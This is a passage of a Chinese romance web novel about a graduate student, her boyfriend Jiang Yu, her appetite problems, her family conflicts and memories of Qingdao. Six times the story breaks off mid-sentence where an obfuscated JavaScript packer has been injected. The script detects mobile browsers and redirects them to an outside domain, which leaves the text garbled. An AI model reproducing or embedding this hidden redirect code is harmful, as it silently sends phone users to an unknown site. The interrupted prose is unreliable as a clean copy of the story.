昨天也在下雨,我担心安全问题,没让蒋峪过来找我,我俩打了很久的视频电话,让蒋峪在家里帮我改论文。 讨论到一半,在蒋峪耐心还很好的时候,我先不耐烦了,不想改了,也不想做了,感觉自己写得就是一坨狗屎。 我开始无能狂怒:“烦死我了,蒋峪,你为什么要毕业啊。” 蒋峪很好脾气地说:“假设时间可以倒流,我也想回学校陪小宝学习。” 我不依:“现在就想有人陪。” 蒋峪:“那我走?” 我:“你敢试试。” 电话一直打到十点多,快到我宿舍约定的熄灯时间了,而且蒋峪明天也要上班,我们就挂了。 蒋峪帮我解决掉一个大麻烦,任务轻松一半,但回到宿舍躺在床上的时候,我还是失眠了。 读研就是这样的,我们宿舍的晚间几乎没有吵闹过,读到最后,大家的平静中都带着淡淡的活人微死感,我有时候躺在乌漆嘛黑的床帘下,感觉自己和躺在那什么里面没差。 三四年前,我从学校图书馆借阅过一本《加缪手记》,其中有一段是加缪生病了,他不得不躺在床上,后面跟了一句我印象很深的话,他说: “我并不期待人生可以过得很顺利,但我希望碰到人生难关的时候,自己可以是它的对手。” 我现在想想,我并不认同这句话。 对我自身而言,我就是希望我的人生是一帆风顺的,我不喜欢难关,我也不想当谁的对手,我只想顺顺利利地活着,仅此而已。 我哀叹:“为什么人不可以好吃懒做一辈子呢。” 蒋峪笑了笑说:“这说明你有勤劳的天分啊。” “你这是在PUA我吗?” 蒋峪喊冤申辩:“没有。” “我说有就有。” 现在是午休时间,蒋峪还没有上班,他躺在车里和我打电话:“饿了吗?有没有想吃饭?” “有一点,但还不想吃饭。” “有一点?那我给小宝点外卖好不好?要不要吃小菜园?” “不好。” “为什么?连最喜欢的午餐套装都不想宠爱一下了吗?” 我下意识摇摇头,但又想起这是电话,蒋峪根本看不到我的动作。 舍友都不在,床帘也拉着,我还算安心地打开摄像头,切换成视频。 蒋峪在镜头里裹着我的粉色小毯子,枕着我的卡通连帽头枕,一副虚弱王子的样子,但他的眼睛亮亮的,分明精神得很。 “下午好?” “下午好,小宝。” 镜头一对,他裹着我的睡前搭档,我穿着他的短袖睡衣,看到我乱糟糟的扮相,我有些不好意思,蒋峪却理直气壮地往上推了推帽檐,要我给他看看我穿的他哪件衣服。 “你想得美。” 蒋峪对于互换个人物品这种事兴致勃勃,比如,他的包里有我的复古紫色波点雨伞,我的书桌上有他的Accept庆祝积木,他床上有我睡过的小碎花夏凉被,我宿舍的衣柜里有他的短袖和衬衫外套。 而且蒋峪家的奥妙洗衣凝珠有一种神奇的作用,会把所有衣服都变成蒋峪身上干燥的,几乎微不可闻的洗涤剂香气。 因为我昨天晚上也没吃饭,蒋峪怀疑我有一个铁胃,他不死心地问:“真的不吃吗?要不点一个可以送到宿舍楼下的外卖?” 我再次拒绝了他,因为下雨天,我连宿舍门都不想出,不想吹到走廊里的风。 我起身给自己泡了一桶番茄牛肉面,又拆了一个蒋峪自己做的手工面包。 蒋峪是一个心机男孩,因为开始不在一个学校的“异地”恋了,我们约定每周三和周末是我们固定见面的日子。 蒋峪知道我不爱吃早餐,所以做了各种吐司、欧包、贝果还有小饼干,因为太好吃了,这让我每个星期都想着他。 他在那边看着我忙活一通,非常不赞同地问我:“意点点小姐,这样吃饭有营养吗?” 听到蒋峪的声音,我很没出息地有点难过,因为这段时间过得实在是糟糕。 而且明明周末刚和蒋峪见过面,这才过了一天,我的心情又开始变坏了,难道我是一个恋爱脑? 我和蒋峪的校园恋谈了有两年了,我其实已经习惯了这两年的节奏,习惯了我们在同一个学校里,即便不是随叫随到,他也是在我身边的,很近距离的。 没和蒋峪谈恋爱以前,我也是过一个人的正常生活,但我发现真的回不去了。 其实我知道我为什么不开心,根本原因是学业,直接原因是这次开学蒋峪不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417771|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了,我很不适应没有他的校园生活。 我真的好讨厌不受掌控的生活,讨厌大论文,讨厌毕业,讨厌下雨,讨厌一切...... “小宝,怎么开始掉眼泪了?” 我没说话,只是静静地端视着他那边,而蒋峪看到我哭了以后,立刻拿开毯子坐了起来。 他调整座椅的时候,手机被他放到了旁边的座位上,从摄像头里,我只看到他的一点下巴和他的一半上半身。 这样的下雨天,蒋峪还是只穿着一件短袖,一件班味儿很重的短袖衬衫,但他在上衣口袋内侧别了一个波点徽章,露出很萌的一角。 蒋峪第一次买来别在衣服上的时候,他拍了拍胸口和我说这是“意点的停车位”,用来收纳它的糖果盒子被他成为“意点的家”,他总能把很多事情变得很有趣。 但有趣先生的女朋友也有觉得生活不有趣的时候。 一阵窸窸窣窣的声音过后,我感觉到手机被拿了起来,他的脸在屏幕上骤然放大,几乎占据了整个屏幕。 四目相对,蒋峪眨了眨眼:“真的很不开心吗?” 当然没到这个程度,我叹了口气,只是悲伤开学综合症强烈了那么一点点而已,但是,“为什么都二十多岁了还不喜欢开学啊。” 我抽纸擦了一下眼泪,又低头咬了一口蒋峪做的抹茶蔓越莓欧包。 蒋峪问:“小宝,好吃吗?它是什么味道的?” “抹茶有点涩,蔓越莓酸一点,乳酪夹心是甜甜的。” 蒋峪故意逗我:“嗯?不是没味的吗?” “啊,你可真烦。”我立刻领悟过来蒋峪什么意思了。 因为我真的很不爱吃饭,以前我还在蒋峪面前给自己正名,告诉他,流着泪吃东西的时候,嘴巴里是没有味道的。 真没想到他记了这么久。 “好吧好吧,是甜的,很好吃,行了吧。”我立刻恼羞成怒了。 “一会我去找你好不好,我这边四点多就结束了。” “不好。”今天在下雨,我不想蒋峪雨天开车过来再回家,不想他有额外的安全风险。 蒋峪一本正经地说:“但是小蒋今晚想求见眼泪女王大人。” “老蒋也不行。” 蒋峪忍俊不禁,他直接被我逗笑了。 我反过来说他:“忍一忍,明天就可以见面了。” “明天我想出去吃小菜园。” “可以。” “还想要一袋抹茶乳酪欧包。” “也可以。” 午休结束,蒋峪要去上班了,他露出一个安心的笑容,“明天见,意点。” “明天见。” 我期待着和他的每一次见面。 15. 食欲拯救者 我不爱吃饭,这算是重组家庭出身的一种后遗症吧。 我阿姨特别喜欢在餐桌上立规矩,只要她想治我,她总能找到理由拿捏我个错处。谁能想象,我十几岁的时候,因为吃饭少,被认定交男朋友了,要爱美减肥呢。 我真搞不明白,我阿姨是第一天知道我饭量小吗?一个四十多岁的长辈,给一个十几岁的初中女孩造谣,她不觉得羞愧吗? 但我爸才不管,他从来都是一副眼瞎耳聋的模样,哪怕舞到我爸脸前,只要不耽误他吃饭,那就是什么事都没有。 吃饭对我来讲是一种煎熬的表演,每次还没等坐在餐桌前,我的胃就开始紧张收缩,我怕一个表现不好,我阿姨又得说什么。 在爸爸家,我总是话少的,饭量也少的,吃完可以尽快离开餐厅,离开他们一家人的。 在我当时的认知里,饭量是我在那个家的谨小慎微下,唯一能掌控的东西。但我现在想想,那其实是不算太对的。 道理很浅显,别人欺负了你,心情美美地该吃吃该喝喝了,留下你自己不吃饭,自己再惩罚自己,这怎么能行呢? 后来我了大学,我舍友总是夸张地说,说别人吃饭是吃饭,我吃饭是为维持生命体征,我这个时候就会搬出一个安全的借口,说自己在减肥。 我第一次和蒋峪吃饭的时候,蒋峪也问过我为什么吃这么少。 当时我们在餐厅负一,我买了一份肉酱米粉,蒋峪吃的是家常饭菜。在蒋峪的米饭刚吃掉一半的时候,我已经饱了。 我偷偷看他,心里悄悄在想,他什么时候吃完。但我又不想让蒋峪觉得我在催促他,所以开始默默喝饮料。 蒋峪非常惊讶我已经吃饱了,他问我是不是不合胃口。 我告诉他我已经吃不下了。 蒋峪就说,他觉得我那碗米粉只受了一点皮外伤。 他根本不知道,这是我在整个九月份,吃得最饱的一顿饭。接下来整整一个月,我都没有再光顾过那家窗口。 蒋峪属于胃口很好的一类人,他从来不挑食,好吃的可以吃,不好吃的也能吃。 我们两个一起逛超市,路过饮料区,零食区,熟食区,蒋峪分别拿了乌龙茶,薯片,冰糖豆花,鸭翅,我只拿了一瓶无糖可乐。 虽然食欲低,但在少糖的情况下,我对饮料奶茶一类的接受度还是挺高的,我还喜欢加很多冰块。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417772|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 每年体检,蒋峪都要担心我贫血,万幸指标一直正常,所以也就由着我了。 在我开始严格执行术后增重计划以后,蒋峪自告奋勇辅助。 他早上会在便当盒里准备一种主食,一个鸡蛋和一盒牛奶,上下午的加餐是水果或坚果随机。晚上是准备一种主食,一盘绿叶菜和一份瘦肉,睡前继续补充牛奶或营养冲剂。 我一直没明白,这种营养食谱和减脂餐的界限在哪里,因为蒋峪做得一样口味清淡,但小蒋博士认为,多吃多运动,增重是自然而然的。 周末上称的时候,我感觉自己像动物园里的小动物,蒋峪是饲养员,体重秤是大老板。 大老板告诉蒋峪,我比他当厨师之前还轻几斤,蒋峪立刻心碎了。 我觉得,情侣之间,可以接受年龄差带来的照顾,但对方真要当“爹系男友”,那还是快快走开吧。 蒋峪觉得自己弄巧成拙了,心里是很愧疚的,但我暗暗窃喜,因为终于不用清淡饮食了。 我的低食欲被这次乌龙事件拯救回来,谁说这不是一种功劳呢。 “是不是蒋峪?” “不是。” “就是。” 16. 洋葱空心人 在大学毕业前,我是一个相当内敛的人,我在任何时候都是一种不问不答,绝不主动和谁讲话的人,一种社会化程度很低的人。 我并不是没礼貌,与此相反,出身重组家庭的我相当会看人脸色行事,但我不快乐,这样不会拒绝别人的、轻度“讨好型人格”的我,不是我喜欢的我。 社交能力上的失败,经常让我在处理人际关系时感到笨拙。 大一的时候,我们开学不久便迎上了国庆假期,我天南海北来的舍友们打算组团去青岛玩。 按理说,我应该是要参与这种集体活动的,况且我还是一个土生土长的青岛人。 但因为当时我还差一段时间成年,未成年人住酒店登记需要给家长打电话,我不想引起一些不必要的麻烦,所以没有去。 我们宿舍初期的关系划分,便是以那次旅行奠定了基础。不过这种排除我在外的小团体们也没有维持多久,相处时间一长,该散伙的就散了。 但我还是没有朋友,甚至也没有一个大学搭子。 我在学生会和社团里面也没有认识什么人,再然后我就习惯一个人了,有通知看班群,没事自己去图书馆,我很少在宿舍待着,也很少和别人一起行动。 主动交际别人对我来讲是一种负担。和蒋峪刚认识的时候,我觉得太好了,什么都没做,就有一个打球搭子自己送上门来。 蒋峪后来知道这段,他问我:“那我当时和你搭讪,有没有吓到你?” 我点头:“当然有!” “真的啊,那也太抱歉了。” 蒋峪有点尴尬,在他想说些什么补救一下的时候,我立刻补充道:“所以老天赔了一个男朋友给我!” “怎么这么会说呢。”蒋峪摸了摸我的头,他也露出了一个内敛的笑。 这可以想象得到,在大四保研失败后,我放弃秋招,果断决定考研,很难说不是因为我当时有畏难情绪,恐惧过早进入社会。 后面就是拟录取的时候了,我需要准备提前导师。 但对我这种谨小慎微的人来讲,鼓起勇气发邮件联系导师是一件很不容易的事。 我把措辞在邮箱里编辑了一遍,又发给蒋峪看了一遍,最后在宿舍里,早上八点整,我虔诚地发出了这一封邮件。 谢天谢地,什么意外都没有发生,导师看了我的邮件,当天下午我们就加上了微信,一切非常顺利。 晚上,我和蒋峪吃完饭后在学校里散步,心里落下一块大石头,我感觉特别轻松。但与之而来的,还有一点对即将到来的研究生阶段的茫然。 复试的时候,我担心面试被刷;拟录取之后,我担心没有导师要我;联系好导师以后,我又开始小小担心,读研怎么和导师、同门相处了。 我时常感觉我是一个洋葱人,这倒不是说我没有心,而是我认为我有一种洋葱型的焦虑人格。 这是我自己发明的词,意思是,剥开一层的烦恼,里面还有一层的烦恼,无限循环一样,永远解决不完,我就是这样的一个人。 蒋峪被我这个说法逗笑了,他说:“但是,一个洋葱早晚都有剥完的那一天啊。” 是啊,洋葱皮早晚会剥完的,但我自己的时间呢? 我浪费掉的时间和精力,难道最后是要把自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417773|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成一个空心人吗? 这也太可怕了。 我非常沮丧地问蒋峪:“你说,我什么时候变得和你一样啊?” 我想像蒋峪一样,变成一个大人,真正的大人。 蒋峪安慰我:“因为每个人在人际交往方面的基础不同,有些人学得慢,有些人领悟得快而已,大家都是这样的。” 蒋峪说,他直博博一刚进组的时候,还和研二的师兄烦恼过怎么称呼对方。 研二的师兄觉得,按照硕博的培养层次,蒋峪是师兄。蒋峪觉得,按照进入师门的先后顺序,对方是师兄。 “那你们最后怎么解决的呢?” “各论各的,我叫他师兄,他叫我师兄。” 好搞笑,后面就是我知道的了,蒋峪他们为了避免认知错误,发明了“师兄弟”和“师弟哥”。 我承认,蒋峪和我的三岁年龄差也不是白长的,一岁有一岁的成长。可是,“蒋峪,我还是很想变得高情商。” “别着急,慢慢来嘛。” 第二天中午,我和蒋峪在食堂吃饭。 我发现多出来一碟凉菜,是姜汁藕片。蒋峪夹了好多放到我的碗里,我问他做什么。 蒋峪一本正经地说:“多吃点,长心眼子。” 多吃藕,长心眼子...... 笑死我了,太冷了,我差点在外面笑出声。 我问蒋峪你从哪里知道的这种冷笑话,蒋峪说是他爸爸说的,因为他小时候家里炸藕合,蒋峪接受不了蔬菜和肉馅放到一起,他爸就一本正经地逗小孩,让蒋峪记到现在。 哈哈,还是好可爱啊。 17. 必须拿下他 时间:9月15日星期一 地点:晋江文学城 参与人:汪意点、蒋峪 1.你的名字? 汪意点:汪意点。 蒋峪:蒋峪。 2.你的性格是怎样的? 汪意点:比较敏感,有时自信,偶尔冷漠,大部分时间心情是烦烦的。 蒋峪:应该是一个淡人。 3.对方的性格是什么样的? 汪意点:温柔,沉稳,耐心,安静内敛型人格,我喜欢话少的男生。 蒋峪:聪明,谨慎,可爱。 4.对方有哪些优点? 汪意点:比我开朗,情绪非常稳定,喜欢默默把一切安排好,会赚钱,会做饭,会幽默 蒋峪:很聪明,理解能力好,学习能力强,做任何事情都很认真很负责。 5.对方有哪些缺点? 汪意点:大四才认识,出现得太晚。 蒋峪:有时喜欢自己生闷气。 汪意点:?你真不解风情。 6.谁先注意到对方的?当时TA在做什么? 汪意点:从来没注意过旁边还有人。 蒋峪:我。她经常坐在固定的一个位置看平板,偶尔背书,一直很安静。 7.对对方的第一印象是什么? 汪意点:长得很高很帅一男的,还有一头小卷毛。 蒋峪:哭得有点可怜,想安慰她。 汪意点:他当时以为我失恋。 蒋峪:(否认) 8.是谁先要的联系方式?聊天的第一句话是什么? 汪意点:我主动加的,第一句话是问他明天几点一起出来打球。 蒋峪:(点头) 9.对方做的什么事让你第一次心动了? 汪意点:他帮我整理玩偶的衣服,拎裙摆的动作很萌很绅士,想知道他为什么这样做。 蒋峪:一起打球,她跑过来捡球还给我。 汪意点:所以当时为什么? 蒋峪:觉得很可爱。 10.第一次单独约会是什么时候?谁最先提出的邀请? 汪意点:大四上学期,10月份,我邀请他出去和我一起过生日。 蒋峪:博三第一学期的秋天,我们一起去图书馆自习。 汪意点:......?原来在你眼里这已经算约会了。 蒋峪:这不算吗? 11.第一次约会的感觉是怎样的? 汪意点:开心,高兴,总之非常好,除了熏得我的大衣有一股川味饭香。 蒋峪:在图书馆里很安静,她学习,我写论文,担心她觉得无聊。 12.你们约会经常去的地方是? 汪意点:自习室,图书馆,体育馆。 蒋峪:咖啡店,餐厅,小公园。 汪意点:真是很抽象的约会项目。 13.是由哪一方先表白的? 汪意点:我先给他讲我想要一个男朋友。 蒋峪:自然而然地在一起了。 汪意点: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417774|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这样吗? 蒋峪:没有吗? 14被表白或者接受表白的时候,心里在想什么? 汪意点:必须拿下他。 蒋峪:想一直和她在一起。 15.在遇到对方前,曾预想过自己的另一半吗? 汪意点:小时候想和元彬结婚。(这是可以说的吗?) 蒋峪:没有预想过。但很爱她,很满意现在的生活 16.怎么称呼对方? 汪意点:小蒋,蒋峪,蒋老师(他们这里喜欢称呼别人老师儿) 蒋峪:点点,宝贝,小宝,其他看某人心情。 17.最喜欢对方称呼自己什么? 汪意点:小汪老师,会感觉自己很有文化。 蒋峪:蒋峪,喜欢听她讲我的名字。 18.给对方的微信备注是什么? 汪意点:蒋峪。给所有人备注全名。 蒋峪:一个红色气球emoji。 19.如果用一种食物来形容对方的话,你觉得对方是? 汪意点:玉米、土豆、菠菜、粉丝,年糕、蟹排、虾滑、炸油条,牛羊肉、番茄汤…… 蒋峪:这好像是一种火锅? 汪意点:今天就去吃吧! 20.如果用一种动物来形容对方的话,你觉得对方是? 汪意点:安安静静的大型犬,对他讲不喜欢你了,他会默默伤心,然后默默走开那种。 蒋峪:猫,很傲娇,偶尔黏人,但大部分时间相当独立。 18. 明天去约会 时间:9月15日星期一 地点:晋江文学城 参与人:汪意点、蒋峪 21.如果用一种颜色来形容对方的话,你觉得对方是? 汪意点:粉色或蓝色,非常温柔的粉和非常安心的蓝,都是我喜欢的颜色。 蒋峪:黄色,温暖阳光小太阳,下雨会很生气那种 22.如果用一种味道来形容对方的话,你觉得对方是? 汪意点:干燥的舒肤佳原味香皂,偶尔是淡淡的奥妙洗涤剂香味 蒋峪:祖玛珑英国橡树与榛果? 汪意点:恭喜答对全名 23.如果用一种季节来形容对方的话,你觉得对方是? 汪意点:有暖气地带的冬天,可以看层层叠叠的的雪,穿厚厚的外套,然后出门去喝一杯热可可。 蒋峪:夏天和秋天。 24.你们的关系到达各种程度了? 汪意点:热恋,相爱,最好的伴侣。 蒋峪:赞同, 25.最喜欢对方对自己说什么? 汪意点:一直一直夸我。 蒋峪:爱你,想你,需要你。 汪意点:爱你,想你,需要你。 蒋峪:(脸红) 26.一起做什么的时候感觉最幸福? 汪意点:玩、学习、吃饭的时候。不喜欢吃饭,但是想和他待在一起。 蒋峪:单纯待在一起的时候,上班想到她的时候。 27.最喜欢对方身体的哪个部位? 汪意点:胸,腰,头发,揪蒋峪的头发他不会生气。 蒋峪:眼睛,腰。 28.最喜欢亲对方哪里? 汪意点:嘴巴,鼻梁。 蒋峪:脸。 29.对方做什么动作会让你感觉心跳加速? 汪意点:拥抱,顺毛。 蒋峪:对视,她笑的时候。 30.在相处中,你更习惯照顾对方还是被照顾? 汪意点:喜欢依赖他,可以变成一个笨蛋,什么都不用做,但不是真要他把我当笨蛋,不然我会生气的。 蒋峪:感谢认可。 31.你们会吵架吗?如何和好? 汪意点:不吵架。淡人没法吵架。 蒋峪:(点头) 32.对方有没有见过自己最狼狈的时候? 汪意点:上次做手术,术后上厕所的时候。 蒋峪:暂时没有?其实还是有的,只不过程度不同? 汪意点:(点头) 蒋峪:某次收到拒稿信,早上出门没刮胡子,还挂着熬大夜的黑眼圈,说好晚上见面,但是白天在食堂碰到了她。 汪意点:此人什么时候见女朋友都打扮得干干净净,超讲究男人一枚。 33.有在对方面前哭过吗? 汪意点:经常,所以为什么第一章叫眼泪女王? 蒋峪:没有。 汪意点:想看。 蒋峪:以后。 34.你们之间有隐瞒对方事情吗? 汪意点:准备了情侣对戒,打算到我生日的时候送给他。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417775|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蒋峪:我知道。 汪意点:??? 蒋峪:没人在准备惊喜的时候,会把小票忘到男朋友包里。 35.你们觉得情侣之间最重要的事是什么? 汪意点:陪伴,爱。 蒋峪:信任,相爱。 36.对方让你最感动的一件事是什么? 汪意点:考研复试的时候,担心被刷,他哄了我一个晚上。 蒋峪:还是收到拒稿信那次,心很碎,她骑电动车带我出去兜风,让我坐在后面搂着她的腰。 汪意点:然后两人都忘记带头盔,碰到交警,被罚二十块钱? 蒋峪:安全驾驶,人人有责。 37.对方做的哪一件事让你觉得“认定TA了”? 汪意点:今年生病他照顾我的时候。 蒋峪:毕业找工作的时候,从一次很不顺心的面试地点出来,看到她偷偷过来给我惊喜。 汪意点:当时你好开心,我以为你面试通过了。 蒋峪:(笑) 38.在一起后,你们得到哪些成长? 汪意点:想到有人可以长久陪伴自己,更要认真生活,努力活着。 蒋峪:好好赚钱,好好做饭。 39.如果明天约会的话会去哪里? 汪意点:哪都不去,我讨厌下雨天。 蒋峪:去学校找她,下班后送一顿爱心晚餐。 40.请对身边的TA说一句现在最想说的话。 汪意点:谢谢你的出现? 蒋峪:爱你,永远爱你。 19. 大小汪先生 2023年10月22日,星期天,我永远记得这一天。 这一天之前,我爸破天荒地问我是不是马上要过生日了,我说是,然后我爸给我弟转了五百块钱,要我弟到我的学校庆祝我过生日。 我爸真的太闲了,他以前怎么不想着帮我和我弟联络感情呢? 是啊,因为我弟今年才上大学,他现在是大一新生了。 我爸想让我弟来我的学校,感受一下我这里的氛围,然后想以此激励我弟从大一就开始努力学习。 我弟是省属公费师范生,考的是我们省最好的师范大学。说句冒犯的话,只要考上了,哪怕他摆烂四年,他也能在毕业后被分配一个稳定的工作。 但是我爸不满足,他想让我弟再读个研究生,最好还是部署师范院校,那样读出来再履约教书的话,分配的工作会更好,更体面。 我弟怎么想我不知道,但他不想来是真的。我也拒绝了,因为我和我弟根本不熟,连微信都没聊过几句。 但我爸只训斥了我,他觉得我心眼歪,竟然不想让我弟向善向好。 我爸永远把我弟当小孩,把我当大人。我真是不理解,我弟都是大学生了,因为看到谁的学校不错,所以自己就会努力学习?他是木偶吗? 我弟还是答应来了。 但这事没完。 星期天那天上午,蒋峪没到点开溜,第一次见我弟,蒋峪给他买了见面礼,一个蓝牙鼠标,中规中矩的,我也同意了。 我连蛋糕都买好了,就等他过来吃。 那天,我和蒋峪等到一点多,快两点,我弟都没有来。问就是他忘了,他去旁听二学位辅修的课了,中午吃完饭才想起这茬。 我弟在微信上问我,现在骑车来我们学校来得及吗? 来得及?我气炸了,怒气直冲天灵盖。 蒋峪看到我的手都在抖,立刻拉着我走出了室内。 直到呼吸上外面带着凉意的空气,我才感觉喘过气来,我特别庆幸蒋峪刚才拦住了我,让我没有当众发飙,不然事后我一定会觉得特别难堪。 但我还是很生气,有这么溜人的吗?我弟唬谁呢,谁信这种拙劣的借口? 我从来没有一刻,意识到,我弟原来是这样一个的人,和他的爸爸,他的妈妈,一样的。 小汪先生不接电话(他后来和他爸说,怕我生气),于是我噼里啪啦给他发了一通语音消息。 我弟没事人一样,给我发了句对不起,这显得我特别像一个无能狂怒的疯女人。 我觉得我弟对不起我,然后我又对不起了蒋峪。 蒋峪是很看重这一天的,在得知我弟要来给我庆祝生日,他就开始想买什么样的见面礼,还问了他们组的小师弟。 蒋峪比我大三岁,我比我弟大四岁,不严格算的话,蒋峪比我弟大个六七岁,我弟出生的时候,蒋峪已经是个小学生了。 在约好时间之前,蒋峪跟我在他宿舍里打视频,问我他穿哪件衣服,搭配哪条裤子好看。蒋峪也想在我家人面前给我长脸,给他们留一个好印象。 但这次是没机会了,也还好不用见面了,我真不想让蒋峪也和我一起受大小汪先生的气。 后来我复盘的时候,我发现我弟根本没有明确答应我要来,他其实一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417776|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表现得语焉不详的。 就比如,我告诉他在我学校北门旁边的xx店见面,考虑到他工作日要按点上课,约的是周末,具体时间也说的是十二点。 我弟回了个表情包,一个OK的表情包,这难道不是答应了的意思吗? 那之后,我又问我弟,他能接受抹茶吗,因为我打算买一个抹茶蛋糕。这次他没回OK的表情包,只说了句:都行,到时候再说吧。 谁能想到,到时候再说,是他不要过来的意思。 我爸给我打电话,替我弟解释,说晚上再一块吃不就行了,一家人这么斤斤计较干什么? 呵呵,我拒绝了。我说明天星期一了,我们晚上要开组会。 我爸问我什么组会星期天晚上开,我把我弟的话原封不动地还给了我爸:我去旁听别的组的,错过了没有了。 听我这样理直气壮地胡编乱造,蒋峪在旁边也笑了。 蒋峪一个博四的人,时间已经很宝贵了,还被我弟这样的人浪费掉,我心里特别难受。 但我心知肚明,我弟这哪是不给蒋峪脸,明明是不给我脸,也不尊重我。 那天,我们并没有吃那个抹茶蛋糕,蒋峪从餐厅冷柜里取出来,回去送给了他的同门。 蒋峪还有个师弟特别搞笑,他说他买大A,是一点绿色也看不了,笑死我了。 我们决定等下下周的万圣节,我农历生日的那一天,我们再出去吃饭,只有我们两个人的那种。 总之,就这样,我弟错过了和蒋峪的第一次见面,至于我爸那边,更是不知道我谈恋爱了,也许保密工作还要这样做下去吧。 20. 青岛的日常 小时候,我和妈妈去爬信号山。 鸟语花香,风吹草地,但刚从对面的地铁站口出来,还没过马路走到公园门口我就开始喊累。 妈妈闻歌弦而知雅意,会在门口给我买烤肠,盐水菠萝或者丸子串串,我这才会乖乖牵着她的手往台阶上面走。 二十年前,我觉得信号山好高,台阶也好多,我是那种走两步就想停下歇歇的小孩,也很懒惰,总想让妈妈抱。 妈妈不抱我,总是一遍遍地说:“点点,自己走。”我虽然生闷气,但又不敢不照做,只好气鼓鼓地只伸出一根手指头给妈妈牵。 现在想想,我那时候也许很扫兴吧,瘦弱的妈妈一边抱小孩,一边爬台阶,妈咪包里还装着炸弹一样的小孩用品,全职妈妈的育儿烦恼也许并不甜蜜。 爬到山顶吹风风,下山的时候,妈妈会带我走东边的路线,那条路每次都会经过一个冷饮商店。 作为对小朋友的奖励,我可以得到一罐蓝色的、冰凉的青岛老酸奶,和一口甜沙沙的青岛啤酒冰棍儿,在商店门口的石桌前,我每次都珍惜地全部吃光光。 妈妈每次也都会嘱咐一句:“别跟爸爸说”。我当时并不明白这句话的意思,只是舔着凉凉的小嘴巴,满口答应她。 我的世界曾经非常小,小到只有我和妈妈,只有我们两个相依为命的人。 不愿去上幼儿园的四岁小女生和全职照顾女儿的妈妈,爸爸好像只在抚养权争夺之战里现身了一下,而后把我这个战利品丢给了奶奶,如往积灰老旧的库房里丢进一个过期物件。 小孩并不懂珍惜时间,我早已经不记得,哪年哪月哪一天,是我最后一次和妈妈出门玩了。 后来,我和蒋峪去信号山,我们两个年轻人,走走停停,拍拍照片,没费什么力气就登顶了。 成长真正的意义是朝花夕拾,我印象里总是迈不完的台阶,没想到也不过短短二十分钟。 下山的时候,我兴致勃勃地带蒋峪按照我记忆中的路线回去,走东边,下到第二层的时候,我们果然在转角看到了一家冷饮店。 青岛啤酒老冰棍只要两块钱一根,我和蒋峪一人吃了一根。啤酒味道的棒冰,实在是太好吃了,冰凉,回甘,夏天就要吃这样清爽的东西。 我饶有兴趣地想,妈妈再也不用嘱咐我了,因为我不仅长成了一个对酒精接受良好的成年女性,而且再也不用什么事都给爸爸说了。 比如,我和蒋峪来青岛玩,一次都没有给家里说过。 